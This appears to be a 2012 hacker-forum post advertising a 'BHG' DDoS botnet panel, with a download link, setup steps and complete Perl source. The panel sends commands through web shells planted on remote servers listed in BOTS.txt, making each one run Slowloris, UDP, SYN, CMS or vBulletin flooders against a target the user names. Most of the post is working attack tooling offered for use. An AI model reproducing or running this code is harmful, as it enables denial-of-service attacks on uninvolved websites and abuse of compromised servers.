BHG BOTNET Public Version PANEL

Hi Guys
BHG-BOTNET-Public-Version-PANEL




Download Forum Here
http://g3n3rall-blackhat.persiangig.com/Pastebin/BHG-BOTNET-Public-Version-PANEL.tar.gz

support:

         1- Slowloris [Good For Apache webservers]
         2- UDP ULTIMATE DDOSER
         3- Multi DDOSER [WORDPRESS - JOOMLA - DRUPAL]
         4- VBulletin DDOSER [ULTIMATE]
         5- Syn Flooder


Picture:
http://g3n3rall-blackhat.persiangig.com/Pastebin/Screenshot%20from%202012-05-19%2020%3A39%3A21.png

Help:
1- upload BHG.php on your servers
2- put the links in to BOTS.txt
example:
http://site1.com/BHG.php
http://site2.com/BHG.php
3-upload ddosers [multi-ddoser.pl || slowloris.pl || syn-flooder.pl || udp-flooder-ultimate.pl ||vbulletin-ddoser.pl ]
on yout servers and Set 777 Permission for all
4- Run BHG-BOTNET-PANEL.pl  and select your DDoser or Flooder And You Can also
check your Bots and then Enter Target And attack :)

Private Version 100% is better than it ! :D And it's just for
VIP Memebers of BLACK HAT GROUP ;)
and i put panel source if you wont download from that link :

Panel Source :
#!/usr/bin/perl
#BHG BOTNET PANEL VERION BETA
#BLACK HAT GROUP SECURITY CENTER
#Code By G3n3Rall
#AnTi.SecurityBoy@Gmail.com
#We Are : Net.Edit0r , A.Crox , 3H34N , Am!n , tHe.K!ll3r , ArYaIeIrAn , G3n3Rall , Mr.XHat , NoL1m1t , Black Viper ,Nitrojen90 .....
#www.Black-HG.Org   | Our Forum : www.Black-HG.Org/cc/
#IRANIAN HACKERS
################
use WWW::Mechanize;
use LWP::Simple;
use HTTP::Request;
use LWP::UserAgent;
################
system(($^O eq 'MSWin32') ? 'cls' : 'clear');   #or u can use  system("cls");  in windows and in linux system("clear");
print"\n \t \t $BHG BOTNET PANEL VERSION BETA    |   G3n3Rall";
print"\n \t\t  BLACK-HG.ORG    |Forum:  BLACK-HG.ORG/cc/ ";
print "\n\n\n \t\t\t Choose Your DDoser :\n";
print "\n\n \t\t 1- Slowloris [Good For Apache webservers]";
print "\n \t\t 2- UDP ULTIMATE DDOSER";
print "\n \t\t 3- Multi DDOSER [WORDPRESS - JOOMLA - DRUPAL]";
print "\n \t\t 4- VBulletin DDOSER [ULTIMATE]";
print "\n \t\t 5- Syn Flooder";
print "\n\n \t\t 6- Exit ";
print "\n\n \t Chosse ?:";
#############
$Menu =<STDIN>;
if ($Menu==6) {exit;}
chomp ($Menu);
#############
#Slowloris.pl
if ($Menu == 1){
print "\n\t\t You Choose Slowloris \n";
print "\n\n\t\t PROGRESSING ....";
print"\n";
print"\n";
sleep(3);
ForCheck:;
print "\n\n \t\t Do want check your BOTS ?";
print "\n\n\n \t\t 1- YES";
print "\n \t\t 2- NO";
print "\n \t\t Check ?:";
$check=<STDIN>;
chomp ($check);
if ($check == 2){
print " \n \t \t ok ";
goto Target;
}
if ($check == 1) {
print " \n \t\t Checking .... \n";
open (BTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BTS>){
        $BOTS=$_;
        chomp $BOTS;
        syswrite STDOUT, "\t";
        $request = HTTP::Request->new(GET=>$BOTS);
        $useragent = LWP::UserAgent->new();
        $response = $useragent->request($request);
        if ($response->is_success && $response->content =~ /G3n3Rall/ || /#BHG/){
        syswrite STDOUT,"\n\n \t\t  $BOTS => Success \n";

        }
        else
        {
        syswrite STDOUT, "$BOTS => KILLED\n";
        sleep(2);
        exit;
        }
        }
        goto Target;
}
Target:;
print "\n \t LOADING ...\n ";
print "\n";
sleep (3);
print "\t Enter Target:";
$Target=<STDIN>;
chomp ($Target);
print "\n\t Enter Port:";
$Port =<STDIN>;
chomp ($Port);
print "\n\t Timeout:";
$Timeout = <STDIN>;
$cmd = "perl slowloris.pl -dns $Target -port $Port -timeout $Timeout";
$fieldname = "cmd";
goto ddos;
#############
ddos:;
open (BOTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BOTS>) {
$ATTACK=$_;
chomp $ATTACK;
syswrite STDOUT, "\n\t Connecting ...\n";
my $mechanizee = WWW::Mechanize->new(timeout => 20);
$mechanizee->get($ATTACK);
$mechanizee->field("$fieldname" => "$cmd");
$mechanizee->click();
print "\n\t################\n";
syswrite STDOUT, "\t\t\t ok Started ...... \n";
print "\n\t\t ALL BOTS ATTACKING TO $Target";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
}
print"\n";
sleep ($Timeout);
print "\n\n \t\t Attack FINISHED  |  Code By G3n3Rall\n\n";

}



#############
#ultimate-ddoser.pl
if ($Menu == 2){
print "\n\t\t You Choose UDP ULTIMATE DDOSER \n";
print "\n\n\t\t PROGRESSING ....";
print"\n";
print"\n";
sleep(3);
ForCheck:;
print "\n\n \t\t Do want check your BOTS ?";
print "\n\n\n \t\t 1- YES";
print "\n \t\t 2- NO";
print "\n \t\t Check ?:";
$check=<STDIN>;
chomp ($check);
if ($check == 2){
print " \n \t \t ok ";
goto Target2;
}
if ($check == 1) {
print " \n \t\t Checking .... \n";
open (BTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BTS>){
        $BOTS=$_;
        chomp $BOTS;
        syswrite STDOUT, "\t";
        $request = HTTP::Request->new(GET=>$BOTS);
        $useragent = LWP::UserAgent->new();
        $response = $useragent->request($request);
        if ($response->is_success && $response->content =~ /G3n3Rall/ || /#BHG/){
        syswrite STDOUT,"\n\n \t\t  $BOTS => Success \n";
        goto Target2;
        }
        else
        {
        syswrite STDOUT, "$BOTS => KILLED\n";
        sleep(2);
        exit;
        }
        }
}
Target2:;
print "\n \t LOADING ...\n ";
print "\n";
sleep (3);
print "\t Enter Target:";
$Target=<STDIN>;
chomp ($Target);
print "\n\t Enter Port:";
$Port =<STDIN>;
chomp ($Port);
$cmd = "perl udp-flooder-ultimate.pl $Target $Port";
$fieldname = "cmd";
goto ddos2;
#############
ddos2:;
open (BOTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BOTS>) {
$ATTACK=$_;
chomp $ATTACK;
syswrite STDOUT, "\n\t Connecting ...\n";
my $mechanizee = WWW::Mechanize->new(timeout => 20);
$mechanizee->get($ATTACK);
$mechanizee->field("$fieldname" => "$cmd");
$mechanizee->click();
print "\n\t################\n";
syswrite STDOUT, "\t\t\t ok Started ...... \n";
print "\n\t\t ALL BOTS ATTACKING TO $Target";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
}
print"\n";
sleep (999999999999999999999999999999999999999999999999999999999999999999999999999999);
print "\n\n \t\t Attack FINISHED  |  Code By G3n3Rall\n\n";

}
##############
#multi-ddoser.pl
if ($Menu == 3){
print "\n\t\t You Choose MULTI DDOSER \n";
print "\n\n\t\t PROGRESSING ....";
print"\n";
print"\n";
sleep(3);
ForCheck:;
print "\n\n \t\t Do want check your BOTS ?";
print "\n\n\n \t\t 1- YES";
print "\n \t\t 2- NO";
print "\n \t\t Check ?:";
$check=<STDIN>;
chomp ($check);
if ($check == 2){
print " \n \t \t ok ";
goto Target3;
}
if ($check == 1) {
print " \n \t\t Checking .... \n";
open (BTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BTS>){
        $BOTS=$_;
        chomp $BOTS;
        syswrite STDOUT, "\t";
        $request = HTTP::Request->new(GET=>$BOTS);
        $useragent = LWP::UserAgent->new();
        $response = $useragent->request($request);
        if ($response->is_success && $response->content =~ /G3n3Rall/ || /#BHG/){
        syswrite STDOUT,"\n\n \t\t  $BOTS => Success \n";
        goto Target3;
        }
        else
        {
        syswrite STDOUT, "$BOTS => KILLED\n";
        sleep(2);
        exit;
        }
        }
}
Target3:;
print "\n \t LOADING ...\n ";
print "\n";
sleep (3);
print "\t Enter Target:";
$Target=<STDIN>;
chomp ($Target);
print "\n\tTimeout:";
$Timeout =<STDIN>;
print "\n\n \t Select Options: W = WordPress |  J = Joomla  |  D = Drupal";
print "Options:";
$Options=<STDIN>;
$cmd = "perl multi-ddoser.pl $Target $Timeout $Options";
$fieldname = "cmd";
goto ddos3;
#############
ddos3:;
open (BOTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BOTS>) {
$ATTACK=$_;
chomp $ATTACK;
syswrite STDOUT, "\n\t Connecting ...\n";
my $mechanizee = WWW::Mechanize->new(timeout => 20);
$mechanizee->get($ATTACK);
$mechanizee->field("$fieldname" => "$cmd");
$mechanizee->click();
print "\n\t################\n";
syswrite STDOUT, "\t\t\t ok Started ...... \n";
print "\n\t\t ALL BOTS ATTACKING TO $Target";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
}
print"\n";
sleep ($Timeout);
print "\n\n \t\t Attack FINISHED  |  Code By G3n3Rall\n\n";

}
##############
#vbulletin-ddoser.pl
#multi-ddoser.pl
if ($Menu == 4){
print "\n\t\t You Choose VBulletin DDOSER [ULTIMATE] \n";
print "\n\n\t\t PROGRESSING ....";
print"\n";
print"\n";
sleep(3);
ForCheck:;
print "\n\n \t\t Do want check your BOTS ?";
print "\n\n\n \t\t 1- YES";
print "\n \t\t 2- NO";
print "\n \t\t Check ?:";
$check=<STDIN>;
chomp ($check);
if ($check == 2){
print " \n \t \t ok ";
goto Target4;
}
if ($check == 1) {
print " \n \t\t Checking .... \n";
open (BTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BTS>){
        $BOTS=$_;
        chomp $BOTS;
        syswrite STDOUT, "\t";
        $request = HTTP::Request->new(GET=>$BOTS);
        $useragent = LWP::UserAgent->new();
        $response = $useragent->request($request);
        if ($response->is_success && $response->content =~ /G3n3Rall/ || /#BHG/){
        syswrite STDOUT,"\n\n \t\t  $BOTS => Success \n";
        goto Target4;
        }
        else
        {
        syswrite STDOUT, "$BOTS => KILLED\n";
        sleep(2);
        exit;
        }
        }
}
Target4:;
print "\n \t LOADING ...\n ";
print "\n";
sleep (3);
print "\t Enter Target:";
$Target=<STDIN>;
chomp ($Target);
print "Forum Path [ example /forum/   or  /:";
$Path=<STDIN>;
$cmd = "perl vbulletin-ddoser.pl $Target $Path";
$fieldname = "cmd";
goto ddos4;
#############
ddos4:;
open (BOTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BOTS>) {
$ATTACK=$_;
chomp $ATTACK;
syswrite STDOUT, "\n\t Connecting ...\n";
my $mechanizee = WWW::Mechanize->new(timeout => 20);
$mechanizee->get($ATTACK);
$mechanizee->field("$fieldname" => "$cmd");
$mechanizee->click();
print "\n\t################\n";
syswrite STDOUT, "\t\t\t ok Started ...... \n";
print "\n\t\t ALL BOTS ATTACKING TO $Target";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
}
print"\n";
sleep (999999999999999999999999999999999999999999999999999999999999999999999999999999);
print "\n\n \t\t Attack FINISHED  |  Code By G3n3Rall\n\n";

}
##############
#syn-flooder.pl
if ($Menu == 5){
print "\n\t\t You Choose Syn Flooder \n";
print "\n\n\t\t PROGRESSING ....";
print"\n";
print"\n";
sleep(3);
ForCheck:;
print "\n\n \t\t Do want check your BOTS ?";
print "\n\n\n \t\t 1- YES";
print "\n \t\t 2- NO";
print "\n \t\t Check ?:";
$check=<STDIN>;
chomp ($check);
if ($check == 2){
print " \n \t \t ok ";
goto Target5;
}
if ($check == 1) {
print " \n \t\t Checking .... \n";
open (BTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BTS>){
        $BOTS=$_;
        chomp $BOTS;
        syswrite STDOUT, "\t";
        $request = HTTP::Request->new(GET=>$BOTS);
        $useragent = LWP::UserAgent->new();
        $response = $useragent->request($request);
        if ($response->is_success && $response->content =~ /G3n3Rall/ || /#BHG/){
        syswrite STDOUT,"\n\n \t\t  $BOTS => Success \n";
        goto Target5;
        }
        else
        {
        syswrite STDOUT, "$BOTS => KILLED\n";
        sleep(2);
        exit;
        }
        }
}
Target5:;
print "\n \t LOADING ...\n ";
print "\n";
sleep (3);
print "\t Enter Target:";
$Target=<STDIN>;
chomp ($Target);
print "\n\t Enter Port:";
$Port =<STDIN>;
chomp ($Port);
print "\n\t Timeout:";
$Timeout = <STDIN>;
$cmd = "perl syn-flooder.pl $Target $Port $Timeout";
$fieldname = "cmd";
goto ddos5;
#############
ddos5:;
open (BOTS, "<BOTS.txt") or die "\n\tSry NOT FOUND BOTS.txt \n";
while (<BOTS>) {
$ATTACK=$_;
chomp $ATTACK;
syswrite STDOUT, "\n\t Connecting ...\n";
my $mechanizee = WWW::Mechanize->new(timeout => 20);
$mechanizee->get($ATTACK);
$mechanizee->field("$fieldname" => "$cmd");
$mechanizee->click();
print "\n\t################\n";
syswrite STDOUT, "\t\t\t ok Started ...... \n";
print "\n\t\t ALL BOTS ATTACKING TO $Target";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
print "\n \t\t .............................\n";
}
print"\n";
sleep ($Timeout);
print "\n\n \t\t Attack FINISHED  |  Code By G3n3Rall\n\n";

}
##############
if ($Menu =! 1 || $Menu =! 2 || $Menu =! 3 || $Menu =! 4 || $Menu=! 5 || $Menu=! 6){
print "\n \t\t invalid id";
goto ForCheck;
}
system("pause");
############################################
############################################





Black Hat group Security Center
Site: www.Black-hg.org
Forum: www.Black-hg.org/cc/
By G3n3Rall
AnTi.SecurityBoy@Gmail.com

Bye.